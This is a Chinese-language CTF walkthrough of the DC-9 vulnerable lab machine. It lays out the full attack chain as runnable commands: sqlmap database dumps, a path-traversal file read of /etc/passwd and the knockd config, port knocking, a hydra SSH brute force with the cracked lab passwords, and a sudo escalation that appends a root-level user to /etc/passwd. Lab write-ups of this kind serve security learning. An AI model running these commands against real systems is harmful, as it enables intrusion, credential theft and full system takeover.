环境准备(kali DC-9)
信息收集 得到DC-9靶机IP 139
端口扫描 得到其开放端口和操作系统版本信息
http服务端口进行访问
利用wappalyzer插件查看网站框架信息
页面中存在4个选择依次点击试试
Search项发现了蹊跷 似乎是注入漏洞 测试下回显和注入点
都没有回显 上工具呗 sqlmap跑一下 (sqlmap -u "http://192.168.115.139/results.php" --data "search=1" --dbs)
发现有两个库 staff和users 爆一下Staff库中的内容 (sqlmap -u "http://192.168.115.139/results.php" --data "search=1" -D Staff --tables)
出来两个表 再来爆下表中有什么可用信息
staff表中存在一些用户名和密码 这里没有我们想要的还需要进一步
获取users表字段数据 (sqlmap -u "http://192.168.115.139/results.php" --data "search=1" -D Staff -T Users --dump)
爆出一个admin账户 这个密码用sqlmap自带的字典就可以解出来 然后使用这个用户去manage项登录
登录管理员后台 发现页面有个提示:File does not exist显示文件不存在
猜测文件包含参数为file 通过文件包含漏洞查看/etc/passwd文件 (?file=../../../../etc/passwd)
新知识点: 参考其他大佬的文章才晓得这里用的是端口敲门:
原理简单分析:端口敲门服务 即:knockd服务 该服务通过动态的添加iptables规则来隐藏系统开启的服务 使用自定义的一系列序列号来“敲门” 使系统开启需要访问的服务端口 才能对外访问 不使用时 再使用自定义的序列号来“关门” 将端口关闭 不对外监听 进一步提升了服务和系统的安全性。
简单来说就是:知道它的自定义端口后 依次对其进行敲门 然后就可以开启ssh服务从而进行连接了 它的默认配置文件为:/etc/knockd.conf
所以现在就是要知道它的这个配置文件的内容就可以得到它自定义的端口号 用LFI把这个文件爆出来:
然后安装knock工具 利用knock对获取的端口(开门密码)实现敲击 可以看到成功开启了ssh端口
关闭态的22端口
安装
利用knock敲门
成功敲开
想要利用ssh服务 但需要用户名和口令 同样按照上述步骤获取users数据库的信息 (sqlmap -u 'http://192.168.115.139/results.php' --data "search=1" -D users -T UserDetails -C username,password,id --dump --batch)
将用户名的口令收集起来 将username放入user.txt 将password放入pass.txt
然后利用hydra对ssh爆破 (hydra -L user.txt -P password.txt 192.168.115.139 ssh)
得到了三个账号密码:
账号: | 密码: |
1、chandlerb | UrAG0D! |
2、joeyt | Passw0rd |
3、janitor | Ilovepeepee |
利用爆破出来有3个用户可用 通过ssh登录三个账号进行登录 janitor用户 (ssh janitor@192.168.115.139)
进行信息收集 发现了一个新的口令文件
再次利用hydra进行爆破
又得到了一组用户账号和密码(fredf B4-Tru3-001)
登录(ssh fredf@192.168.115.139(B4-Tru3-001))
查看有没有可以进行sudo本地提权的地方 (sudo -l)
在这里我们可以看到 这个用户可以sudo使用root权限在运行一个test程序 而且不需要密码 然后我们先进去这个保存文件测试的位置看一下这是个什么程序
找到了一个test.py文件 打开看看
是一个python脚本 目的拥有root权限 我们可以构造一个拥有root权限的用户 并在/etc/passwd文件中储存 只要使用这个用户登录 就可以获取到root权限
回到kali使用openssl工具先创建一个本地的加密用户 (openssl passwd -1 -salt admin 111111 -1 #使用md5加密算法 -salt #自动锚入一个随机参数作为文件内容加密)
然后回到靶机中 回到程序的目录下用echo命令在/tmp目录下创建一个名为aaa的文件(这个文件名可以自定义) 再使用sudo用那个test程序来运行这个文件 随后切换成我们添加的这个用户 输入自己设定的密码就可以成功提权到root用户了 最后进入root目录下查看flag即可
(echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaa
sudo ./test /tmp/aaa /etc/passwd
su admin
cd /root
cat theflag.txt)
小结:
A: wappalyzer
B:SQL注入 sqlmap
C: 文件包含漏洞
D: 端口敲门服务(knockd服务)
E: sudo本地提权